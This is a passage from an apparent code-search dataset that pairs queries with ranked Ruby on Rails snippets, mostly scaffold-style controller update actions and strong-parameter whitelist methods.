if @catalogo.update_attributes(params[:catalogo])\n format.html { redirect_to @catalogo, notice: 'Catalogo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @catalogo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "80550ae5f6257445257c0ac2f58b711c", "score": "0.5930678", "text": "def update\n @catalogo = Catalogo.find(params[:id])\n\n respond_to do |format|\n if @catalogo.update_attributes(params[:catalogo])\n format.html { redirect_to @catalogo, notice: 'Catalogo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @catalogo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e283bc2c564258897ab0627a4907df6b", "score": "0.59301126", "text": "def update\n @voto = Voto.find(params[:id])\n\n if @voto.update(voto_params)\n head :no_content\n else\n render json: @voto.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ca489ebe3fd9156155db97293c197322", "score": "0.59289247", "text": "def update\n @vial = Vial.find(params[:id])\n\n respond_to do |format|\n if @vial.update_attributes(params[:vial])\n flash[:notice] = 'Vial was successfully updated.'\n format.html { redirect_to(@vial) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vial.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a39f413c00bcf579be72db210f736ee9", "score": "0.5928282", "text": "def update\n @clinic = Clinic.find(params[:id])\n# @clinic.slots.each do |s|\n\n\n respond_to do |format|\n if @clinic.update_attributes(params[:clinic])\n format.html { redirect_to @clinic, :notice => 'Clinic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @clinic.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "705a6232d59015de6a38a489b9e1853c", "score": "0.5926552", "text": "def update\n @cat = Cat.find(params[:id])\n if @cat.update(cat_params)\n redirect_to cat_url(@cat)\n else\n render json: @cat.errors.full_messages, status: 422 # unprocesable entity\n end\n end", "title": "" }, { "docid": "a607aa652ec3069e0fc6a8973e4ac261", "score": "0.5919677", "text": "def update\n respond_to do |format|\n if @coolio.update(coolio_params)\n format.html { redirect_to @coolio, notice: 'Coolio was successfully updated.' }\n format.json { render :show, status: :ok, location: @coolio }\n else\n format.html { render :edit }\n format.json { render json: @coolio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "588314e6a1ccf84d00c26c8fdee13172", "score": "0.59195966", "text": "def update\n respond_to do |format|\n if @covid19_clinic.update(covid19_clinic_params)\n format.html { redirect_to @covid19_clinic, notice: 'Covid19 clinic was successfully updated.' }\n format.json { render :show, status: :ok, location: @covid19_clinic }\n else\n format.html { render :edit }\n format.json { render json: @covid19_clinic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fe6a6fbd4a6c0e0452f88af85d69ea88", "score": "0.5917903", "text": "def update\n @catalogue = Catalogue.find(params[:catalogue_id])\n @cat_editorial = @catalogue.editorials(catalogue_editorial_params)\n respond_to do |format|\n if @cat_editorial.update(cat_editorial_params)\n format.html { redirect_to catalogue_path(@catalogue), notice: 'Cat editorial was successfully updated.' }\n format.json { render :show, status: :ok, location: @cat_editorial }\n else\n format.html { render :edit }\n format.json { render json: @cat_editorial.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "193ead6d3429a3a795654bc66122b768", "score": "0.59176147", "text": "def update\n @collectible = Collectible.find(params[:id])\n\n respond_to do |format|\n if @collectible.update_attributes(params[:collectible])\n format.html { redirect_to @collectible, notice: 'Collectible was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @collectible.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5572f82c9331bc01fc99aab7f34f06f3", "score": "0.5916867", "text": "def update\n @clientes = Cliente.all\n @veiculos = Veiculo.all\n respond_to do |format|\n if @locacao.update(locacao_params)\n format.html { redirect_to @locacao, notice: 'Locacao was successfully updated.' }\n format.json { render :show, status: :ok, location: @locacao }\n else\n format.html { render :edit }\n format.json { render json: @locacao.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4a1afb0845b8c94bbad5db3033642128", "score": "0.5916457", "text": "def update\n respond_to do |format|\n if @civility_vote.update(civility_vote_params)\n format.html { redirect_to @civility_vote, notice: 'Civility vote was successfully updated.' }\n format.json { render :show, status: :ok, location: @civility_vote }\n else\n format.html { render :edit }\n format.json { render json: @civility_vote.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d76555f8cff28b0f5e4c5fd150d6f8b7", "score": "0.5912828", "text": "def update\r\n respond_to do |format|\r\n if @sivic_situacaodiscipulo.update(sivic_situacaodiscipulo_params)\r\n format.html { redirect_to @sivic_situacaodiscipulo, notice: 'Situação alterada com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_situacaodiscipulo.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "6a4a4f5fd54991c1af923a1cfde334a3", "score": "0.5912257", "text": "def update\n respond_to do |format|\n if @covariate.update(covariate_params)\n format.html { redirect_to @covariate, notice: 'Covariate was successfully updated.' }\n format.json { render :show, status: :ok, location: @covariate }\n else\n format.html { render :edit }\n format.json { render json: @covariate.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "73c37dd10acdb8f96eb15b9053d76df0", "score": "0.5910305", "text": "def update\n params.permit!\n @coasilicon = Coasilicon.find(params[:id])\n\n respond_to do |format|\n if @coasilicon.update_attributes(params[:coasilicon])\n format.html { redirect_to(@coasilicon, :notice => 'Coasilicon was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @coasilicon.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f8c0d8d0a50b372db25081068bbd90b", "score": "0.5907504", "text": "def update\n respond_to do |format|\n if @cicle.update(cicle_params)\n format.html { redirect_to @cicle, notice: 'Cicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @cicle }\n else\n format.html { render :edit }\n format.json { render json: @cicle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "488052c118893052188fcac91af9f682", "score": "0.5905781", "text": "def update\n @viatura = Viatura.find(params[:id])\n\n respond_to do |format|\n if @viatura.update_attributes(params[:viatura])\n format.html { redirect_to @viatura, notice: 'Viatura was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @viatura.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
38c5f392935c8489972dc4571579d0ae
Sum quantities from all magazines
[ { "docid": "986bc3643f157b1046fa682e3aa3b9f8", "score": "0.0", "text": "def sell_quantity\n StoredItem\n .select('SUM(quantity) as sum_quantity')\n .where(item: item).first.sum_quantity\n end", "title": "" } ]
[ { "docid": "17e6b5ed8edd6c65d295fc775a9a6841", "score": "0.65038896", "text": "def total_magnesium\n\t\tmy_meals.to_a.sum { |item| item.total_magnesium }\n\tend", "title": "" }, { "docid": "8d0a3f1a0e8ae2506ff7b21b62bcd11b", "score": "0.648357", "text": "def total\n self.line_items.map {|line_item| line_item.item.price * line_item.quantity }.sum\n end", "title": "" }, { "docid": "8e6efaad84978299c67cf2315d02371c", "score": "0.64243114", "text": "def total\n #take all of the line items, put them in a collect loop, so that values are saved.\n self.line_items.collect do |line_item|\n #for each line_item inside of the cart, take the price and multiply it by how many of that line_item there are\n line_item.item.price * line_item.quantity\n #get sum of the price.\n end.sum\n end", "title": "" }, { "docid": "e20cb667c0ada77736ecf2b0d5047251", "score": "0.6268949", "text": "def total\n total = 0\n self.line_items.each do |line_item|\n total += (line_item.item.price * line_item.quantity)\n end\n total\n end", "title": "" }, { "docid": "d6762b76014f982543955eee2b3c7fa5", "score": "0.62394136", "text": "def total_items\n self.line_items.collect{ | c | c.quantity }.reduce(:+)\n end", "title": "" }, { "docid": "0e6d5e5e453820c8d9b3100285f919ee", "score": "0.6231398", "text": "def total\n total = 0\n line_items.each do |line_item|\n total += line_item.item.price * line_item.quantity\n end\n total\n end", "title": "" }, { "docid": "b1153fb04fa7deff9ba754975ea974c6", "score": "0.61757004", "text": "def total_quantity\n total_quantity = 0\n line_items.each do |line_item|\n total_quantity += line_item.quantity\n end\n total_quantity\n end", "title": "" }, { "docid": "d35428812803b44ec70cb65d3624f88b", "score": "0.61510205", "text": "def amount\n items.collect{|item, quantity, size| item.price * quantity }.sum\n end", "title": "" }, { "docid": "4cc9ad26acfebba5d076d750d46f47bd", "score": "0.6142265", "text": "def get_total_qnty(line_items)\n line_items.map(&:quantity).sum\n end", "title": "" }, { "docid": "9b99123b574cdada7b53762dfd3c457b", "score": "0.61249876", "text": "def totalQuantity(line_items)\n total = 0\n line_items.each do |line_item|\n total += line_item.quantity\n end\n total\n end", "title": "" }, { "docid": "c56d5a445a80e439501757fe7ef90dbc", "score": "0.6114104", "text": "def calculate_total\n cart_items.map { |i| (i.quantity * i.inventory.product.price) }.reduce(:+)\n end", "title": "" }, { "docid": "d957864d011537d240216e34124c2473", "score": "0.6082184", "text": "def total_quantity\n # Sums up total quantity of all the items in the cart\n line_items.to_a.sum { |item| item.quantity}\n end", "title": "" }, { "docid": "9f1d2b4a3c9dfa30d93325bcf836508f", "score": "0.6057278", "text": "def total_quantity\n @cartlines.inject(0) { |total, o| total += o.quantity }\n end", "title": "" }, { "docid": "7ebdb3e1f91f2faa2ef13276ccc6c6b4", "score": "0.60557973", "text": "def get_line_items_total\n \tline_items.map(&:amount).sum \n end", "title": "" }, { "docid": "c28c71c0f140b4e06a8b5db57f5dd272", "score": "0.59976786", "text": "def line_item_totals\n line_item_price * quantity\n end", "title": "" }, { "docid": "72d90b99dd67e5b93044787b559892f7", "score": "0.59587336", "text": "def total_cart\n sum = 0\n self.line_items.each do |line_item|\n sum+= line_item.total_by_item\n end\n return sum\n end", "title": "" }, { "docid": "5638088668a0aa3ffa67e5158831105e", "score": "0.59465677", "text": "def amount\n line_items.map(&:amount).sum\n end", "title": "" }, { "docid": "92f516f2dbc5997050808e4cf2320bdc", "score": "0.59234345", "text": "def total_items\n total = 0\n line_items.each do |li|\n total += li.quantity\n end\n total\n end", "title": "" }, { "docid": "c383440aae58ef0dd9acc0b42d221f21", "score": "0.58996886", "text": "def total_items\r\n\t\t\titems.inject(0) { |sum, i| sum + i.quantity }\r\n\t\tend", "title": "" }, { "docid": "8c2757e8fc64a10c3493b75ed99440cb", "score": "0.58927816", "text": "def total\n #(0) means if items it returns 0 instead of nil\n # can't just use :+ because item is object\n line_items.inject(0){ |sum, line_item| sum += (line_item.item.price * line_item.quantity)}\n end", "title": "" }, { "docid": "3833c4988349486c98290086d853863f", "score": "0.5883725", "text": "def total_items\r\n\t\titems.inject(0) { |sum, i| sum + i.quantity }\r\n\tend", "title": "" }, { "docid": "067856c7f5cc7db31b68e4204357315c", "score": "0.5850528", "text": "def compute_total_value\n sum = 0.0\n @cartlines.each do |o|\n product = Product.find(o.productID)\n sum += product.price * o.quantity\n end\n sum\n end", "title": "" }, { "docid": "161a6d1079a106ebced368031ad38a1a", "score": "0.5831617", "text": "def item_count\n line_items.map(&:quantity).sum\n end", "title": "" }, { "docid": "161a6d1079a106ebced368031ad38a1a", "score": "0.5831617", "text": "def item_count\n line_items.map(&:quantity).sum\n end", "title": "" }, { "docid": "afd1c020c1db4c4349093644c1000adf", "score": "0.5830654", "text": "def total\n items.inject(0.0){|sum, item| sum += (item.price_amount.to_f * item.quantity) }\n end", "title": "" }, { "docid": "9ab804846466d2292a0a9b3b4ba0d5b6", "score": "0.5826909", "text": "def total_price\n total = 0\n line_items.each do |line_item|\n total += line_item.product.price * line_item.quantity\n end\n total\n end", "title": "" }, { "docid": "518d0a816645045f91c165e5c170023c", "score": "0.5821759", "text": "def cart_total\n total = 0\n cart.each do |box_id, details|\n if p = Box.find_by(id: box_id)\n total += p.price * details['quantity'].to_i\n end\n end\n total\n end", "title": "" }, { "docid": "ae2c093b14860fc37cb9bd20e34cd9e9", "score": "0.57990474", "text": "def total_for_quantity(scope)\n map_total(scope.sum(:quantity)) {|t| t.to_i}\n end", "title": "" }, { "docid": "1f388f2cf51ae5a1a34b01a4d11ffc40", "score": "0.57987034", "text": "def total_items\n @items.sum { |item| item.quantity }\n end", "title": "" }, { "docid": "701a13534f2c84b7942e6103b6eae272", "score": "0.5793948", "text": "def calculate_total\n self.price = line_items.map(&:total).sum\n end", "title": "" }, { "docid": "e4175cab569054de19f7f5d1c33525bd", "score": "0.57661116", "text": "def measure\n measure_partial(@qubits)\n end", "title": "" }, { "docid": "0436978e90a4a81e5edffa690b09f7fe", "score": "0.57598925", "text": "def total_skus_quantities\n skus.map(&:quantity).reduce(:+)\n end", "title": "" }, { "docid": "9128ad92ef1602b5b81a68949b594939", "score": "0.57317764", "text": "def quantity\n order_items.sum(&:quantity)\n end", "title": "" }, { "docid": "1a84890ab17806e253086782e76f8ab0", "score": "0.57281715", "text": "def total_items\n total = 0\n @cart_items.each_value { |item| total += item.quantity }\n total\n end", "title": "" }, { "docid": "58d1db3f9f7417f664766f66d8828e50", "score": "0.5723802", "text": "def total\n self.line_items.inject(0) {|result, line_item| result + line_item.total}\n end", "title": "" }, { "docid": "475cc9cc24609ba76a3411669fc21f5c", "score": "0.5722786", "text": "def getsubtotal\n sumcount = 0\n for line_items in self.line_items\n sumcount += (line_items.price * line_items.quantity)\n end\n return sumcount\n end", "title": "" }, { "docid": "89a912ebc05d1e3105c6c034d641121e", "score": "0.571958", "text": "def line_item_total\n self.product.price * self.quantity\n end", "title": "" }, { "docid": "8fe00ce8c4352e899a5fcd453c9cc6a8", "score": "0.57159555", "text": "def products_price\n line_items.map { |li| li.total_price }.sum\n end", "title": "" }, { "docid": "13fe762a96de1a44d22e50fdcf899507", "score": "0.5709139", "text": "def calculate_total\n self.order_items.collect { |item| item.product.price * item.quantity }.sum\n end", "title": "" }, { "docid": "94423c830111b04d535918ab14a48230", "score": "0.5698143", "text": "def calculate_total\n self.order_items.collect { |item| item.product.price * item.quantity}.sum\n end", "title": "" }, { "docid": "3c0c634fb3281ca7dc18445f9174a970", "score": "0.56876147", "text": "def subtotal\n subtotal = 0\n line_items.each do |item|\n subtotal += item.unit_price * item.quantity\n end\n subtotal\n end", "title": "" }, { "docid": "661bc95373e255fa8a720394a4844199", "score": "0.5672122", "text": "def total\n @total = 0.0\n for item in @items\n @total += (item.quantity * item.unit_price)\n end\n return @total\n end", "title": "" }, { "docid": "f5db2f0794181e5a51b1f2a631a42002", "score": "0.566898", "text": "def total_items\n order_items.inject(0) { |t,i| t + i.quantity }\n end", "title": "" }, { "docid": "0ed4040fe7ef440e15d3d0b198235711", "score": "0.56685346", "text": "def total_items\n order_items.inject(0) { |t, i| t + i.quantity }\n end", "title": "" }, { "docid": "6bc7bd038cdced9ea5c35ccfc81eace4", "score": "0.56607807", "text": "def lift_totals \n self.lifters.map do |lifter| \n lifter.lift_total \n end.sum \n end", "title": "" }, { "docid": "fedb4f1ecf100288560fb95694f39512", "score": "0.5654569", "text": "def total_price\n line_items.to_a.sum(&:unit_price)\n end", "title": "" }, { "docid": "46bb047ccafd6db081e3df33d7dbc749", "score": "0.5652546", "text": "def total_price\n total=0\n line_items.each do |line_item|\n total += line_item.stock_item.product.unit_price * line_item.quantity\n end\n total\n end", "title": "" }, { "docid": "f94998a8a41f547139be706784a61268", "score": "0.56458414", "text": "def lift_totals\n self.lifters.map do |lifter|\n lifter.lift_total \n end.sum \n end", "title": "" }, { "docid": "d89678ed7e78f158bd64afd2cf97a95f", "score": "0.5645136", "text": "def total\n @total = 0.0\n for item in items\n @total += (item.quantity * item.unit_price)\n end\n return @total\n end", "title": "" }, { "docid": "689998213ab88b6fdba0411a69af3838", "score": "0.5643369", "text": "def total_quantity\n basket_items.inject(0) { |q, i| q + i.counting_quantity }\n end", "title": "" }, { "docid": "7500496aac4c8f5cd2d78a4aeb38146c", "score": "0.564257", "text": "def calculate_number_of_elements_in_cart\n \n @line_items_count = @cart.line_items.sum('quantity')\n \n end", "title": "" }, { "docid": "fdef79441deafd353218de06ad3734ad", "score": "0.56321025", "text": "def postage\n self.line_items.to_a.sum { |li|\n li.item.postage * 1.2**(li.quantity - 1)\n }\n end", "title": "" }, { "docid": "ed4c763d8877be00620ccdf4335f7486", "score": "0.5623249", "text": "def total_price\n line_items.to_a.sum { |item| item.total_price }\nend", "title": "" }, { "docid": "22a9c358d2b2a74dd0a03ff9da1dd6ca", "score": "0.5623073", "text": "def product_quantity_ordered\n if is_master?\n Spree::LineItem.where(variant_id: self.id, order_id: Spree::Order.complete.pluck(:id)).sum(:quantity)\n else\n Spree::LineItem.where(variant_id: self.product.variants.pluck(:id), order_id: Spree::Order.complete.pluck(:id)).sum(:quantity)\n end\n end", "title": "" }, { "docid": "d21b47b1c74890d31f364dd4e105a6bf", "score": "0.5621468", "text": "def total_quantity\n qty_total = self.purchase_order_line_items.sum(:quantity)\n qty_total\n end", "title": "" }, { "docid": "89eef1106106c97df8b141255a3f27e6", "score": "0.5621344", "text": "def total\n sum = @products.values.sum\n tax = sum * 0.075\n total = (sum + tax)\n return total\n end", "title": "" }, { "docid": "32455a0d22b5dbc228b2e6b553c2a10a", "score": "0.5613398", "text": "def total_price\n \tproduct.price * quantity #this calculates the total price of each line_item\n end", "title": "" }, { "docid": "2db469b7b0c8b94f5185bd39a184beca", "score": "0.5612573", "text": "def +@\n quantity.relative.magnitude( amount )\n end", "title": "" }, { "docid": "7f9d5ada1872ce870612f3549880d1dd", "score": "0.5610755", "text": "def total_rub\n cart_items.collect { |ci| ci.valid? ? (ci.quantity * ci.product.price_rub) : 0 }.sum\n end", "title": "" }, { "docid": "a8a090a40aa0bfd4c31cc497fb06c7cf", "score": "0.5610122", "text": "def total_price\n line_items.to_a.sum { |item| item.total_price} \n end", "title": "" }, { "docid": "46a8f409791a2d03734dcae8508e7a43", "score": "0.5606883", "text": "def items_quantity\n # Array#sum is Ruby 2.4+\n @items.reduce(0) { |total, item| total + item.quantity }\n end", "title": "" }, { "docid": "6d0aceefe76c33755026cabb83a50d77", "score": "0.5601631", "text": "def total_quantity\n order_items.inject(0) { |sum, order_item| sum += order_item.quantity }\n end", "title": "" }, { "docid": "6189487f34141125f223ee74af86762f", "score": "0.55952054", "text": "def in\n OrderDetail.find_all_by_box_id(self.id).map{ |d| d.quantity }.sum\n end", "title": "" }, { "docid": "bff098efea197a917636a31968715f28", "score": "0.55950207", "text": "def total\n @total = 0.0\n #logger.info @items.inspect\n for item in @items\n @total += (item.quantity * item.unit_price)\n end\n return @total\n end", "title": "" }, { "docid": "8e5db40ebe36ec2570a4a5ea59e07383", "score": "0.55947715", "text": "def total \n lifters.map {|l| l.lift_total}.sum\n end", "title": "" }, { "docid": "e22314d44532dc3187a7ffb01e32453b", "score": "0.5594701", "text": "def total_price\n line_items.to_a.sum(&:total_price)\n end", "title": "" }, { "docid": "7b5e3d03da442346036eddc9def2c4dc", "score": "0.5587852", "text": "def sum!(x)\n @objects += x.objects\n @tags += x.tags\n @options += x.options\n self\n end", "title": "" }, { "docid": "2d73f833f49d33977d40c14eab5a8a11", "score": "0.5586802", "text": "def sumar_montos\n acum = 0\n @lis_products = Sale::ProductQuotation.where(sale_quotation_id: self.id)\n @lis_products.each do |product|\n product.quantity.times do\n acum = acum + product.product_product.price\n end\n end\n\n @lis_packages = Sale::PackageQuotation.where(sale_quotation_id: self.id)\n @lis_packages.each do |package|\n package.quantity.times do\n acum = acum + package.colection_package.total_amount\n end\n end\n return acum\n end", "title": "" }, { "docid": "2b1b2aa657863461ffa3daa2da5ee9b2", "score": "0.5572313", "text": "def total\n total = ((@products.values.sum) * 1.075).round(2)\n end", "title": "" }, { "docid": "48d5611d03c6d6d13c708cbdd3b6c298", "score": "0.5569428", "text": "def total_price\n line_items.to_a.sum {|item| item.total_price}\n end", "title": "" }, { "docid": "e2c9b401d6c8eb5591ac974704b723b3", "score": "0.5564923", "text": "def sub_total\n sum = 0\n line_items.each do |line_item|\n sum += line_item.total_price\n end\n sum\n end", "title": "" }, { "docid": "7eda79235653b40b3289bcc828007fba", "score": "0.55606973", "text": "def calories\n ingredients.map do |ingredient|\n ingredient.calories\n end.reduce(:+)\n end", "title": "" }, { "docid": "2ed007102d15c0ec0231135358a416a4", "score": "0.5559134", "text": "def total_price\n\tline_items.to_a.sum {|item| item.total_price}\nend", "title": "" }, { "docid": "3872fb535918dc860e9b1d734877d259", "score": "0.5556959", "text": "def sum\n @items.map(&:price).reduce(:+) \n end", "title": "" }, { "docid": "ddeba51117512a4c5339c54909b94576", "score": "0.5556545", "text": "def amount\n line_items.inject(0.0) { |sum, li| sum + li.amount }\n end", "title": "" }, { "docid": "ddeba51117512a4c5339c54909b94576", "score": "0.5556545", "text": "def amount\n line_items.inject(0.0) { |sum, li| sum + li.amount }\n end", "title": "" }, { "docid": "ea1944dc418a7c6aa8bdb7abe9d2a91f", "score": "0.55516326", "text": "def total\n \tcart_items.inject(0) { |sum, item| item.price * item.amount + sum }\n end", "title": "" }, { "docid": "caee3fd80cb9bfc96ca9fb9cebb2c922", "score": "0.55410385", "text": "def total\n return @items.reduce(0) { |t, a | t + a.montant }\n end", "title": "" }, { "docid": "b646a2f6511aca7d0ffa5a4a6f049598", "score": "0.5537843", "text": "def total_carbohydrates\n\t\tmy_meals.to_a.sum { |item| item.total_carbohydrates }\n\tend", "title": "" }, { "docid": "cebb758c992bf2e6da00feb51c429b2e", "score": "0.553691", "text": "def total_price\n line_items.to_a.sum{ |item| item.total_price}\n end", "title": "" }, { "docid": "cddb54ac76f7ad2276cef3bb8cd050ab", "score": "0.55367255", "text": "def total_price\n line_items.to_a.sum { |item| item.total_price }\n end", "title": "" }, { "docid": "cddb54ac76f7ad2276cef3bb8cd050ab", "score": "0.55367255", "text": "def total_price\n line_items.to_a.sum { |item| item.total_price }\n end", "title": "" }, { "docid": "cddb54ac76f7ad2276cef3bb8cd050ab", "score": "0.55367255", "text": "def total_price\n line_items.to_a.sum { |item| item.total_price }\n end", "title": "" }, { "docid": "7c875c016da1d17d5578830bd2bc6504", "score": "0.55270135", "text": "def total_price\n line_items.to_a.sum { |item| item.total_price}\n end", "title": "" }, { "docid": "7c875c016da1d17d5578830bd2bc6504", "score": "0.55270135", "text": "def total_price\n line_items.to_a.sum { |item| item.total_price}\n end", "title": "" }, { "docid": "5940e7c48b50ddd8fe3a0a6407dcb998", "score": "0.55214155", "text": "def total_mass\n total_mass = 0\n @bodies.each do |body|\n total_mass += body.mass\n end\n total_mass\n end", "title": "" }, { "docid": "81c29994fbcba19c2785dec6314b09bb", "score": "0.5519957", "text": "def price\n quizzes_price = self.cart.quizzes.sum :price\n packages_price = self.cart.packages.sum :price\n quizzes_price + packages_price\n end", "title": "" }, { "docid": "afaff00238c6a29175ac167c14e80cd6", "score": "0.5519942", "text": "def total_price\r\n line_items.to_a.sum { |item| item.total_price }\r\n end", "title": "" }, { "docid": "8381d88449892ffe6992e7b487934ac2", "score": "0.5519908", "text": "def unit_count\n # Assuming items are available if in cart -- check is made at that time\n # Assuming that a format has only 1 processing unit\n # Assuming that an assembly has same amount of titles no matter what format\n items = self.line_items.includes(:product_format => [:format, :product])\n items.inject(0) {|sum, item| sum + item.quantity * item.product_format.format.units}\n end", "title": "" }, { "docid": "490a4b6f81c8be5e4f06cfbbfaf18265", "score": "0.5519077", "text": "def sub_total\n product_items.map{|item| product = item.product.decorate; (product.price(item.variation_id)) * item.qty }.inject{|sum,x| sum + x } || 0\n end", "title": "" }, { "docid": "89553399c5f6d5ae437ca1ae8ce3bf50", "score": "0.5517162", "text": "def calculate_subtotal\n cart_items.to_a.sum(&:total)\n end", "title": "" }, { "docid": "89553399c5f6d5ae437ca1ae8ce3bf50", "score": "0.5517162", "text": "def calculate_subtotal\n cart_items.to_a.sum(&:total)\n end", "title": "" }, { "docid": "e7d940ecdc2ac752b69bc0b5b3978907", "score": "0.5515756", "text": "def calories\n ingredients.reduce(0.0) {|sum, ingredient| sum + ingredient.calorie_count}\n end", "title": "" }, { "docid": "ccb7ccdfe4257073a228aab5ab1cc1c0", "score": "0.5514054", "text": "def line_items_total\n order_line_items.inject(0.0) {|sum, i| sum + i.subtotal }\n end", "title": "" }, { "docid": "a3a13726b7b84d0b16c14d30f536c0af", "score": "0.5512374", "text": "def total_price\n price = 0\n object.items.each do |item|\n price += item.pizza_type.price * item.quantity\n end\n price\n end", "title": "" }, { "docid": "12e8978695f21e32842e1020bae45272", "score": "0.55041414", "text": "def total_price\n # Sums up total price of all the items in the cart\n line_items.to_a.sum { |item| item.total_price}\n end", "title": "" }, { "docid": "687c1d177408e64f3fbccf622cfe8857", "score": "0.5502379", "text": "def rdmg\n n = super\n for item in equips.compact do n += item.rdmg end\n return n.to_i\n end", "title": "" }, { "docid": "fde4024e23572535d144387d84f423c1", "score": "0.54844177", "text": "def total\n price * quantity\n end", "title": "" }, { "docid": "25478e54247970d92dc0667b0022532c", "score": "0.54759485", "text": "def subtotal\n quantified_items.reduce(0) do |total, quantified_item|\n item, quantity = quantified_item\n total + (item.price * quantity)\n end\n end", "title": "" }, { "docid": "188c8dfe2af07b8bc4b87ba895e1309e", "score": "0.54743373", "text": "def calories\n total_calories = 0.0\n self.ingredients.each do |ingredient|\n total_calories += ingredient.calories.to_f\n end\n total_calories\n end", "title": "" }, { "docid": "5756ba2ddcbe3f62e9c4038ef24402f1", "score": "0.5469285", "text": "def calculate_total\n self.order_items.collect { |oi| oi.book.price * oi.quantity }.sum\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "63062c3e81ee7e2168dcca1768b54293", "score": "0.0", "text": "def property_params\n params.require(:property).permit(:name, :area, :price, :description, :property_type_id, :interest, :status, :user_id, :bed_rooms, :bath_rooms, :address, :county_id, :state_id, :city_id, :latitude, :longitude, :video_url, option_ids: [])\n end", "title": "" } ]
[ { "docid": "e164094e79744552ae1c53246ce8a56c", "score": "0.69792545", "text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "title": "" }, { "docid": "e662f0574b56baff056c6fc4d8aa1f47", "score": "0.6781151", "text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1677b416ad07c203256985063859691b", "score": "0.67419964", "text": "def allow_params_authentication!; end", "title": "" }, { "docid": "c1f317213d917a1e3cfa584197f82e6c", "score": "0.674013", "text": "def allowed_params\n ALLOWED_PARAMS\n end", "title": "" }, { "docid": "547b7ab7c31effd8dcf394d3d38974ff", "score": "0.6734356", "text": "def default_param_whitelist\n [\"mode\"]\n end", "title": "" }, { "docid": "a91e9bf1896870368befe529c0e977e2", "score": "0.6591046", "text": "def param_whitelist\n [:role, :title]\n end", "title": "" }, { "docid": "b32229655ba2c32ebe754084ef912a1a", "score": "0.6502396", "text": "def expected_permitted_parameter_names; end", "title": "" }, { "docid": "3a9a65d2bba924ee9b0f67cb77596482", "score": "0.6496313", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "068f8502695b7c7f6d382f8470180ede", "score": "0.6480641", "text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6477825", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "c04a150a23595af2a3d515d0dfc34fdd", "score": "0.64565", "text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "title": "" }, { "docid": "9a2a1af8f52169bd818b039ef030f513", "score": "0.6438387", "text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "title": "" }, { "docid": "c5f294dd85260b1f3431a1fbbc1fb214", "score": "0.63791263", "text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "title": "" }, { "docid": "631f07548a1913ef9e20ecf7007800e5", "score": "0.63740575", "text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "title": "" }, { "docid": "9735bbaa391eab421b71a4c1436d109e", "score": "0.6364131", "text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "12fa2760f5d16a1c46a00ddb41e4bce2", "score": "0.63192815", "text": "def param_whitelist\n [:rating, :review]\n end", "title": "" }, { "docid": "f12336a181f3c43ac8239e5d0a59b5b4", "score": "0.62991166", "text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "title": "" }, { "docid": "c25a1ea70011796c8fcd4927846f7a04", "score": "0.62978333", "text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n 